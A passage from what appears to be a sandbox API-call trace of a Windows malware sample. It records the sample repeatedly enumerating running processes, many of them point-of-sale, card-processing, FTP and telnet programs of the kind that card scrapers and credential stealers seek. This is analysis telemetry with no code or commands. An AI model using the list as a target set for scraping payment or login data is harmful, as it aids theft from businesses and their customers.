th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0054.159] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0054.160] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0054.161] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0054.162] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0054.163] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0054.164] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0054.164] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0054.165] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0054.166] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0054.167] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0054.168] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0054.169] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0054.169] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0054.232] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0054.233] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0054.234] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0054.235] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.236] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.237] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.238] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0054.239] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0054.239] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.240] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.241] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.242] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.243] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.243] Process32NextW (in: hSnapshot=0x1b0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0054.244] CloseHandle (hObject=0x1b0) returned 1 [0054.244] Sleep (dwMilliseconds=0x1f4) [0055.006] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0055.010] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.010] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.011] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.011] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.012] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.012] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.013] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.013] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.014] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.014] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.015] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.015] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.016] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.016] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.017] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.017] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.018] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.018] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.019] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.019] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.020] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.020] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.021] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.021] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.021] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0055.022] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0055.022] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0055.023] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0055.024] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0055.024] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0055.025] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0055.025] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0055.025] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0055.026] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0055.026] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0055.027] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0055.027] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0055.028] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0055.028] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0055.029] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0055.030] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0055.030] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0055.031] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0055.031] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0055.032] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0055.032] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0055.033] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0055.033] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0055.034] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0055.034] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0055.035] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0055.035] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0055.036] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0055.036] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0055.037] Process32NextW (in: hSnapshot=0x1c8, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 